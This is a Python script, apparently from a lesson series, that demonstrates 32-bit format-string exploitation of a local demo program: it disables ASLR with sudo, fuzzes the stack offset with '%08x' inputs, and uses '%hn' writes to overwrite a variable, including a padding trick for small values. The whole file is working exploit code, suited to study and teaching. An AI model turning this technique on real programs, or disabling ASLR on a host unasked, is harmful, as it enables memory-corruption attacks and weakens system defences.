#!/usr/bin/python

import sys
import struct
import subprocess
from termcolor import cprint

def addr2str(address):
    return struct.pack("<L", address).decode("utf8","surrogateescape")

def run(command, stdout=subprocess.PIPE, echoinput=True, silentoutput=False):
    proc = subprocess.run(command, stdout=stdout)
    output = ""
    if proc.stdout is not None:
        output = proc.stdout.decode("utf-8", "surrogateescape")
    if echoinput:
        cprint(proc.args, "green")
    if not silentoutput:
        if proc.returncode == 0:
            cprint(output, "yellow")
        else:
            cprint("Return code = " + str(proc.returncode), "red")
    return output
    

def main():
    cprint("32-bit ELF Exploitation -- Format string without ASLR -- Issues in Writing.", "white", attrs=["bold"])
    
    try:
        check = open("a.out","rb")
    except FileNotFoundError:
        run(["gcc", "-m32", "a.c"])
        check = open("a.out","rb")
        check.close()

    run(["sudo","sysctl","kernel.randomize_va_space=0"], echoinput=False, silentoutput=True)

    cprint("Fuzz the program to find the offset into the stack that our user-controlled data is...","cyan")
    offset = -1
    for i in range(1,12):
        cprint("./a.out DCBA"+"%08x"*i,"green")
        output = run(["./a.out", "DCBA" + "%08x" * i], silentoutput=True)
        lines = output.split("\n")
        cprint(lines[4],"yellow")
        if lines[4][4+8*(i-1):4+8*i] == "41424344":
            offset = i
            break

    cprint("Found offset = " + str(offset),"white")
    cprint("Run the program with the offset:", "cyan")

    output = run(["./a.out","DCBA"+"%"+str(i)+"$08x"])
    
    output = output.split("\n")
    
    address_of_x = int(output[0].replace("Address of x = ",""), 16)
    value = 0x0
    
    cprint("0x08 - Attempt (and fail) to overwrite the lo WORD with 0x0000", "cyan")
    output = run(["./a.out",
                    addr2str(address_of_x) +
                    "%0c%" + str(offset) + "$hn"],
                    silentoutput=True)
    
    cprint(output.split("\n")[5], "yellow")
    
    cprint("0x09 - Overwrite the lo WORD with 0x0000 by writing the DWORD 0x00010000 instead, but cheat and do it as a WORD (%hn)", "cyan")
    output = run(["./a.out",
                    addr2str(address_of_x) +
                    "%" + str(((value+0x10000))-0x4) + "c%" + str(offset) + "$hn"],
                    silentoutput=True)
    
    cprint(output.split("\n")[5], "yellow")


    cprint("0x0a - In fact, using this technique, we can still get writes for the lo WORD in our troublesome values:", "cyan")
    for i in range(0, 0x5):
        output = run(["./a.out",
                        addr2str(address_of_x) +
                        "%" + str(((value+i+0x10000))-0x4) + "c%" + str(offset) + "$hn"],
                        silentoutput=True)
        
        cprint(output.split("\n")[5], "yellow")
main()